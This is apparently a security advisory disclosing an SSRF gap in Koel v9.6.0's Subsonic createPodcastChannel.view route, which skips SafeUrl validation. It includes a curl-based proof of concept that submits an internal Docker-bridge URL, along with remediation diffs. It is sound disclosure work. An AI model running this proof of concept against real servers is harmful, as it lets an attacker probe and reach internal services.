Summary Koel "v9.6.0" protects the regular podcast subscription API with "SafeUrl", but the Subsonic-compatible "createPodcastChannel.view" route does not apply the same protection. An authenticated user can supply a private URL and cause Koel to fetch it server-side during podcast parsing. This was validated against "v9.6.0" ("352ea5ec27fa22294da8fb6beacb3d5552f0d09c") using the official "phanan/koel:9.6.0" image. This is distinct from "GHSA-7j2f-6h2r-6cqc", which fixed unsafe episode enclosure URLs in versions "<= 9.3.4". The issue here is a newer validation gap in the Subsonic route itself, still present in "v9.6.0". Details SafeUrl protects the regular podcast API only The regular podcast subscription path validates the feed URL with "SafeUrl": - "app/Http/Requests/API/Podcast/PodcastStoreRequest.php" return [ 'url' => ['required', 'url', new SafeUrl()], ]; The Subsonic-compatible route does not: - "routes/subsonic.php" - "createPodcastChannel.view" - "app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php" return [ 'url' => ['required', 'string', 'url'], ]; That creates the same kind of trust-boundary mismatch as the radio issue: the main API rejects private targets, while the compatibility route accepts them. The URL is fetched immediately by the podcast parser The attacker-controlled URL is used by the podcast service during channel creation: - "app/Http/Controllers/Subsonic/CreatePodcastChannelController.php" - "app/Services/Podcast/PodcastService.php" "PodcastService::addPodcast()" calls: $parser = $this->createParser($url); and "createParser()" resolves to: return Poddle::fromUrl($url, 5 * 60, $this->client); This means the SSRF happens as part of the channel creation flow itself. No separate playback step is needed. This bypasses Koel's intended SSRF control for podcast URLs Koel already added "SafeUrl" to the regular podcast API and has already published a podcast-related SSRF advisory. The Subsonic route does not reuse that same control, so it reintroduces a server-side fetch primitive for private destinations. PoC The following steps were validated against the official "phanan/koel:9.6.0" image. 1. Authenticate and obtain an API token: API_TOKEN=$( curl -sS -X POST http://127.0.0.1:18081/api/me -H 'Content-Type: application/json' --data '{"email":"admin@koel.dev","password":"KoelIsCool"}' | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])' ) 2. Obtain the user's Subsonic API key: SUBSONIC_KEY=$( curl -sS http://127.0.0.1:18081/api/data -H "Authorization: Bearer $API_TOKEN" | python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])' ) 3. Prepare an internal-only target URL. In my validation, I used a host-side RSS fixture reachable from the container through the Docker bridge: TARGET_URL="http://172.17.0.1:18090/feed.xml?run=1" 4. Confirm the regular web API blocks the URL: curl -i -X POST http://127.0.0.1:18081/api/podcasts -H "Authorization: Bearer $API_TOKEN" -H 'Accept: application/json' -H 'Content-Type: application/json' --data "{"url":"$TARGET_URL"}" Expected result: - HTTP "422" - Error includes "The url must point to a public URL." 5. Trigger the Subsonic route with the same URL: curl -i -G http://127.0.0.1:18081/rest/createPodcastChannel.view --data-urlencode "apiKey=$SUBSONIC_KEY" --data-urlencode 'f=json' --data-urlencode "url=$TARGET_URL" Expected result: - HTTP "200" - JSON includes ""status":"ok"" 6. Confirm the server-side request happened by checking the internal HTTP service logs. During validation, the local HTTP test server received "HEAD" and "GET " requests for "/feed.xml?run=1". Impact An authenticated user can make Koel send server-side HTTP requests to internal destinations that are intentionally blocked by the main web API. Validated impact: - SSRF to loopback, Docker-bridge, and RFC1918 HTTP destinations reachable from the Koel server - Internal service discovery and request execution through the podcast parser Generic response-body exfiltration was not validated through this exact route. The confirmed impact is SSRF-based internal request execution. Remediation The Subsonic podcast request validator should apply "SafeUrl", and the parser entry point should reject unsafe targets as defense in depth. Suggested patch for "app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php": diff --git a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php --- a/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php +++ b/app/Http/Requests/Subsonic/CreatePodcastChannelRequest.php @@ namespace App\Http\Requests\Subsonic; use App\Http\Requests\Request; +use App\Rules\SafeUrl; @@ public function rules(): array { return [ - 'url' => ['required', 'string', 'url'], + 'url' => ['required', 'string', 'url', new SafeUrl()], ]; } } Suggested defense-in-depth patch for "app/Services/Podcast/PodcastService.php": diff --git a/app/Services/Podcast/PodcastService.php b/app/Services/Podcast/PodcastService.php --- a/app/Services/Podcast/PodcastService.php +++ b/app/Services/Podcast/PodcastService.php @@ private function createParser(string $url): Poddle { + if (!$this->network->isSafeUrl($url)) { + throw FailedToParsePodcastFeedException::create($url); + } + return Poddle::fromUrl($url, 5 * 60, $this->client); } }